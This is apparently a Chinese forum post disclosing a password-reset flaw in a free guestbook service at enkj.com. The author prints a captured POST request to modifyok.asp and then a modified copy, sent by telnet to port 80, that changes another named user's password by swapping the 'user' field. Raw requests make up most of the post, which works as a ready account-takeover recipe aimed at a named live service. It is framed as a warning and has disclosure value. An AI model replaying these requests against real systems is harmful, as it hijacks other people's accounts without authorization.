亿恩免费留言薄MSSQL版修改任意用户密码漏洞

漏洞为高风险

比如:
http://enkj.com/gbook/guestbook.asp?user=bingel
这个是我自己申请用来做测试的免费留言簿

我申请完之后进入修改一下密码

用winsock expert 捕获了如下数据

POST http://enkj.com/gbook/modifyok.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword,

application/vnd.ms-powerpoint, application/vnd.ms-excel, */*
Referer: http://enkj.com/gbook/modify.asp?edit=ok
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)
Host: enkj.com
Content-Length: 122
Pragma: no-cache
Cookie: ASPSESSIONIDCQASSDQA=JHCEGLHCBINJDFOLDAHMKMNG
user=bingel&pass=123456789&zhanzhang=bingel&kind=1&[email protected]
&web=fuck&url=http%3A%2F%2Fsafdafda.com&intro=

这上面一个是关键的东东.

有了这个东东你就可以修改任意用户的密码了

比如你要修改一个用户名为lin的用户的留言簿的密码.只要

telnet enkj.com 80

然后发送post如下数据就可以了.

POST http://enkj.com/gbook/modifyok.asp HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword,

application/vnd.ms-powerpoint, application/vnd.ms-excel, */*
Referer: http://enkj.com/gbook/modify.asp?edit=ok
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)
Host: enkj.com
Content-Length: 122
Pragma: no-cache
Cookie: ASPSESSIONIDCQASSDQA=JHCEGLHCBINJDFOLDAHMKMNG

user=lin&pass=123456789&zhanzhang=bingel&kind=1&[email protected]&web=fuck
&url=http%3A%2F%2Fsafdafda.com&intro=

这样就把用户名为lin的用户的密码修改为123456789

其它的没有必要多说,大家看看就知道是怎么回事了.这个漏洞也只是偶然发现.没有什么技术可言.只是给大家一个提醒.
网络上没有绝对的安全.
